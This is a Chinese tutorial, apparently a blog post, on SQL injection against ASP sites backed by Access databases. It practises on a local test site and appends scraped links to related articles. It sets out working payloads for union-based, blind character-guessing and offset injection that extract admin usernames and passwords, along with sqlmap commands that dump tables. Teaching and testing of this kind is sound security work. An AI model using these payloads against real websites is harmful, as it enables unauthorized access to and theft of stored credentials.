access数据库的来历,我就不说了,因为我懒的记,就算记了感觉上也没大多用处,只要记得数据库的结构就行了。

先是表名,然后是列名,再者就是数据,我发个实际的图吧,大概就是这么一个结构。

下面,开始说下未过滤的SQL代码,说是SQL代码,其实应该说是asp代码,因为,很多access数据库都是和asp这个脚本语言相连的,关于asp这个脚本语言细节,想深入了解的可以百度下,毕竟搜索引擎也是一个很好的老师,很好的老师。

上图是asp的代码,ID就是一个变量,一般的网址结构,相信大家都知道的,网址又叫URL,他的组成是由网站地址,文件目录,还有文件名,文件里还有参数名和参数值。就像下面的这个。

网站地址:

http://127.0.

0.1/0/wenjianjia/wenjianming.asp?id=1

网站地址:http://127.0.0.1/0/

文件目录:wenjianjia

文件名:wenjianming.asp

参数名:id

参数值:1

这个通过上图的未过滤的asp代码,还有下文对网址的解析,大家应该能看出来,变量在ID的这个值上面也就是参数值上。下面我们开始实施操作,理解原理。

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 这个URL的ID处存在注入,它在执行是时候是这样的。

select * from product where id=1 这个就是执行的SQL语句,通过这一句来链接数据库与页面直接的数据。

--------------------------------------------------------------------------------------------------

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1' 我们在URL的后面的加了一个点,来进行测试,看它存不存在注入。

select * from product where id=1' 因为这个点也被带入插入查询了,肯定的,没有 1' 文件,所以报错了,那么就说明,存在注入,因为它这条语句带入查询了。

--------------------------------------------------------------------------------------------------

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and 1=1 通过正确and正确这个编程里的方法,来判断是否可以显错,正确和正确,返回的肯定正确。(这个如果想细了解的可以百度下编程的逻辑判断,自己学习下。)

select * from product where id=1 and 1=1 返回正确,肯定要正确嘛,不正确,那还杂注入了。

--------------------------------------------------------------------------------------------------

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and 1=2 通过正确and错误,肯定错误,这个编程里的逻辑判断,来看下是否显示错误,如果显示错误,那就表示,可以通过显错来注入。如果不显错,那只能看看用工具能不能来跑出账号密码了,手工注入的毕竟有局限性,而且麻烦。

select * from product where id=1 and 1=2 返回错误页面

--------------------------------------------------------------------------------------------------

下面就开始注入了,access数据库的SQL注入,一般都是属于暴力注入,没有固定的规律可言,就是说,你只能靠猜的方法来注入,而不是有固定的方法,肯定会出来密码。

access数据库注入可分为两种注入方法,一种为联合查询法,一种为逐字猜解法,都是属于SQL的语句。那先来说下联合查询法吧。

首先我们需要用 order by 这个语句来猜解列表数,看上面的数据库图,应该都能懂。

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 order by 5 显示正常。

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 order by 6 显示错误。

通过这个对比,我们能猜出这个数据库有5个列表数,那么就开始联合查询法了。

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 union select 1,2,3,4,5 from admin

这句的代码的意思就是如果存在admin这个表名,则页面返回正常,如果没有,则返回错误,就像上面的判断是一个道理。

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 union select 1,username,password,4,5 from admin

这句代码的的前提是页面爆出可替换的数字时才行,然后把你认为可能是列名的单词替换到数字的位置,下面我会贴上实际图的。这句代码,我列出的两个列名是常见的列名,如果不存在的话,就会直接报错的。如果存在,那么列名下的数据,就会被爆出来。

--------------------------------------------------------------------------------------------------

下面我开始说下逐字猜解法,因为有些情况下,如果网站不支持联合查询法,那就只能哟逐字猜解法了,这个方法很麻烦,所以一般如果到这个步骤的话,肯定要上工具的,要不太麻烦了。

查表名: and exists(select * from 表名)

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and exists(select * from admin)

查询该数据库是否存在admin这个表名,如果存在就返回正常,如果返回错误就是不存在。

--------------------------------------------------------------------------------------------------

查列名: and exists(select 列名 from admin)

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and exists(select username from admin)

查询该数据库下,admin这个表名下是否存在username这个列名,如果存在就返回正常,不存在就爆错。

--------------------------------------------------------------------------------------------------

查数据:1.确定长度 2.确定asc数据(asc编码) 这个一个格式。

and (select top 1 len(列名) from admin)=5

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 len(username) from admin)=5

判断 username 这个列表下的数据长度为多少,如果返回正确的话,就是说明 username 这个列表下的数据长度为5位数。如果不正确,就表示不是被,然后一个一个猜吧,一般来说超不过10位数,谁的网站账号起那么长啊,和密码快一个长度了。。。。

and (select top 1 asc(mid(列名,位数,1)) from admin)=97

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 asc(mid(username,1,1))from admin)=97

http://127.0.0.1/0/wenjianjia/wenjianming.asp?id=1 and (select top 1 asc(mid(username,2,1))from admin)=100

判断access数据库,admin表名下的username这个列表下的数据第一位数是否为asc编码里的97,也就是是否为a。如果是就猜第二位,把位数改成2,然后把后面的asc那个97改改,也就是一个一个的试,所以说很麻烦,一般都是工具跑的。

下面贴一个asc编码的图,自行参考。

--------------------------------------------------------------------------------------------------

对了,access还有一个偏移注入法,就是再已知表名的情况下,不知道列名,进行猜解。我本人对这个偏移注入原理不是很理解,所以也无法详细的说说,但是也得贴上代码,好歹大家都知道这个存在吧。

利用表自连偏移注入Access数据库

1.确定网站 字段数 order by 字段数

2.比如说 字段是47 表名是admin ((and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,.....,47 from admin)可以爆出敏感字符)

3.构造从1,*查询直到正确的爆出敏感字符的语句 (列子:and 1=2 union select 1,*错误就加1,2,3,4,5,6,7,8,*直到正确的爆出敏感字符)

4.例如是(and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin 到33,*正确的爆出敏感字符)

5.用47-33=14 *号就代表admin表名的14个字段

6.把admin表扩大一倍14x2=28 在用47-28=19 (例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin把19,后面的字段全部替换成*号就变成这样了and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin)

7.直接爆管理员帐号密码替换表名admin 语句(admin as a inner join admin as b on a.id=b.id)

替换后的就变成这样了 (例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from (admin as a inner join admin as b on a.id=b.id))

8.如果还爆不出来帐号密码那就在19,后面加a.id(例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,* from (admin as a inner join admin as b on a.id=b.id))

9.还爆不出来帐号密码就在 a.id后面加上b.id(例子:and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id))

10.还爆不出来帐号密码就在b.id后面加c.id 加上c.id就相当于admin表的字段扩大了3倍 就是14x3=42 47-42=5 替换表名admin 语句((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)(例子:and 1=2 union select 1,2,3,4,5,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id))

上面是我从别的地方贴的,原地址,我已经找不见了,大概就是这么个偏移的思路,如果想更深入的了解,可以可以自己百度去了解。

--------------------------------------------------------------------------------------------------

好了 ,高潮的地方开始了,我要开始本地搭建一个asp+access的网站,网站源码是在网上搜的,当然源码里‘马’肯定不少,不过咱电脑又不是服务器,没事。开始了!!!

找见一个access注入点的页面。


判断是否存在注入。


and1=1 返回正常。


and 1=2 返回错误。


查询列表字段数,返回正常的是22个,说明存在22个列表字段。


当order by 到23的时候,报错了,说明只存在22个字段数。


判断是否存在admin这个表名,返回正常,说明存在这个表,但是没爆出数字,咋办?让语句出错被。


好了,我在ID参数后面加了个and 1=2 ,就是让语句不存在,好出现可替换的数字,下面就可以把爆出的数字进行替换为你认为可能是的列名。


因为我自己搭建的本地,所有我知道列名是什么,我就直接打上去了,然后列名下的数据就被替换出来了。

这就是联合查询法,很简单。但是实际环境中,肯定问题很多,很多,但是联合查询法的,原理就我上面说的呢个,基础就这个。

---------------------------------------------------------------------------------------------------------------

下面,开始演示下,逐字猜解法:


猜解是否存在admin这个表名,返回正常,那就说明存在了。


猜解admin这个表名下是否存在admin这个列名,返回正常,说明存在。


猜解admin这个表名下的admin列名的数据,总长度是否为5位数。页面返回正常,呢就是说5位数。


开始猜解admin这个表名下admin这个列名的下面的数据第一位是否asc编码里的A ,返回正常,说明是。


开始猜解admin这个表名下admin这个列名的下面的数据第二位是否asc编码里的B ,返回正常,说明是。对了,这里面的top 1 的意思是说,第一行,如果不加的话,要么爆错,要么还是报错。

以上就是逐字猜解法,是不是看着很简单啊,不麻烦 啊,一遍过啊,,,,这是在我源码知道的情况下,如果我不知道具体的数据,,那这个截图教程就会很曲折很曲折,当然,手工注入access也是 不常用的,毕竟效率才是第一位,都是上工具的。

----------------------------------------------------------------------------------------------------------------

这里,我就开始说下一个注入工具,“SQLmap”这个工具,注入工具很多,什么明小子啊,啊D啊,等等一堆注入工具,但是SQLmap这个工具,是我感 觉上很不错的注入工具,它是在python的环境下编写的,当然,我就是python入的门嘛,对关于python编的工具,总是抱有多一点的喜爱的。

SQLmap不光是一个注入工具,在整体的构架上,也算是编程构架思绪学习的一个好的样例,不扯了,说下这个工具吧,如果去官网上下载的话,需要再下载个 python的编程环境,毕竟是在这个环境下编写的嘛,当然你也可以下载个免环境版的sqlmap,这个我不细说了,网上一百度,一大堆。

下面开始正式开始操作,网址还是上面我自己搭建的网站,本地网站,安全,稳定,可靠,适合学习,操作,理解,还不被查水表,也不给他人带来麻烦,还能知道原理,练习技术,学会攻防,啦啦啦。不喷了,开始了。


打开工具后是这个样子的如果是python环境下的,可以按着我上面的操作一个一个输入,如果是免环境的,直接输入 -u "url地址" 然后,摁回车就是了。


回车后,直接跑出来数据库类型,因为我总是闲的没事,跑我自己的这个,所以很快就出来, 如果你们用的话,可能会出现一条又一条的询问句,要么就全部回车,要么,百度翻译一下句子,然后再选择。


因为这个得一句一句的指令操作的,所以你,摁下方向键的上键,就会还原到上一句的句子,然后你可以直接修改后面的代码。--tables 这个是表名的意思。

然后就跑出来access 数据库下,所有的表名。


操作依旧,摁上键,返回上一条命令,然后删除多余的,增改为--columns -T "amin" 再回车,就又开始跑了,--columns 是列名的意思,-T“admin”就是表名的意思。


看吧,这样就全部跑出来列名了,很方便,还简单。


操作依旧,--dump 在单词里是下载的意思,-C"admin,password" 这个就是列名admin列名和password列名,-T“admin”这个就不说了,你该知道的。还有在安全测试的时候,能不dump就不dump,除非你是授权的,警惕dump。


这两句,我忘了贴翻译, 第一句的意思,我不说了,我忘了,第二句的意识是说,是否该工具替你跑出md5加密值为多少,一般工具不好跑出来。


好了,账号密码都爆出来了了,是不是看着很简单?错,不简单,下面我来细说下,并总结下,全文,因为到这里了,差不多access注入篇就要结束了。

--------------------------------------------------------------------------------------------------------------

总结:

access的基础的基础算是总结完了,这个只是access数据库存在注入的漏洞的操作方法,同时还是最基础的,现实的环境比这个复杂的多的多,会出现各种问题,不是我上面用来测试的截图这么简单,这里只是汇总了一下,最基础的基础的,复杂 一部分,我就不在这个文章了讲了,等以后了有机会来了就说说,没机会了,你们就自己摸索的着找资料克服吧。感觉我写的这篇文章,算是基础里,access注入篇基础的基础讲的最细的了。自我感觉。

不赖,自己写了一遍,我对基础又加深的记忆了一遍。耶!

access注入篇+sqlmap的更多相关文章

  1. SQLMAP学习笔记1 access注入

    SQLMAP学习笔记1  access注入 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL.Oracle.PostgreSQL.Microsoft S ...

  2. mysql注入篇

    博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由 ...

  3. SQL注入之sqlmap进阶

    上一篇我们对sqlmap进行简单的介绍,并介绍了一些·sqlmap的基础用法,这篇让我们来更深入的了解一下sqlmap,了解一下它的强大功能. 探测等级 参数为 --level 在sqlmap中一共有 ...

  4. [转载] 我的WafBypass之道(SQL注入篇)

    我的WafBypass之道(SQL注入篇) Web安全 作者:先知技术社区   2016-11-23  7,566   [本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址  安全脉搏编辑huan97 ...

  5. 初识sql注入及sqlmap

    对于sql注入小白的我,上午在红黑联盟的网站上恶补了一下sql注入的基础知识,(走马观花)似乎明白sql注入是怎么一回事,也看了一些关于sqlmap的资料,再次记录一下吧 下面是关于sqlmap这个工 ...

  6. SQL注入工具sqlmap的注入过程记录

    1.sqlmap的get注入 假设目标是 https://www.baidu.com/news.php?id=1&data=2 sqlmap语句 列库 sqlmap.py -u "h ...

  7. sql注入篇2

    一.前言 上一篇:sql注入篇1 二.基于回显的注入类型判断 1.有结果的注入 例如下图: (sqlllab less-1)可以看到有正常结果返回,对于的利用方式就是老套路了,先order by查询出 ...

  8. SQL注入神器———Sqlmap!

    Sqlmap 开源,python编写 支持5种SQL注入检测技术: 1.基于布尔的注入检测 2.基于时间的注入检测 3.基于错误的注入检测 4.基于UNION联合查询的检测 5.基于堆叠查询的检测 支 ...

  9. Java审计之SQL注入篇

    Java审计之SQL注入篇 0x00 前言 本篇文章作为Java Web 审计的一个入门文,也是我的第一篇审计文,后面打算更新一个小系列,来记录一下我的审计学习的成长. 0x01 JDBC 注入分析 ...

随机推荐

  1. POJ 2240 Arbitrage (spfa判环)

    Arbitrage Arbitrage is the use of discrepancies in currency exchange rates to transform one unit of ...

  2. 微信小程序常用API组件开发

    关于小程序 张小龙定义小程序: 1.不需要下载安装即可使用: 2.用完即走,不用关心是否安装太多应用: 3.应用无处不在,随时可用. 特点: 1.适合业务逻辑简单的应用: 2,.适合低频应用: 3.适 ...

  3. 【Docker】docker常用命令

    1.批量删除无tag镜像 docker images|grep none|awk '{print $3}'|xargs docker rmi 2.以特权模式运行容器 docker run --priv ...

  4. 饿了么 <el-input></el-input>输入框获取与失去焦点事件

    //1.定义focus事,绑定属性 <el-input v-model="headerInput" @focus="onInputFocus" @blur ...

  5. tidb集群

    tidb ansible部署 https://zhuanlan.zhihu.com/p/27308307?refer=newsql 网址:http://www.cnblogs.com/mowei/p/ ...

  6. 求最小生成树(暴力法,prim,prim的堆优化,kruskal)

    求最小生成树(暴力法,prim,prim的堆优化,kruskal) 5 71 2 22 5 21 3 41 4 73 4 12 3 13 5 6 我们采用的是dfs的回溯暴力,所以对于如下图,只能搜索 ...

  7. python 的装饰器,

    昨天去面试,发现了装饰器还是不太熟悉, 笔试题目是: 随意编写两个对输入参数做加减乘除运算的函数(需要有除法),写完后,用装饰器实现对函数出现除数为0的异常捕获,如果有异常,使用print打印日志. ...

  8. 自动化测试之CSS定位

    之前做自动化测试一直用RF框架来操作,发现了明显与unittest的灵活性相差一点. 重新温习了unittest框架,其中这个框架,元素定位是难点,以前更多的使用JQUERY方式定位, 发现其实与CS ...

  9. ubuntu安装完成后需要做的事情

    1.删除libreoffice libreoffice虽然是开源的,但是Java写出来的office执行效率实在不敢恭维,装完系统后果断删掉 [html] view plain copy sudo a ...

  10. Visual Studio Code 修改字体

    下载安装想要更换的字体,这里以 Fira Code 字体为例. Fira Code 字体的下载地址:https://github.com/tonsky/FiraCode 下载解压后安装字体,windo ...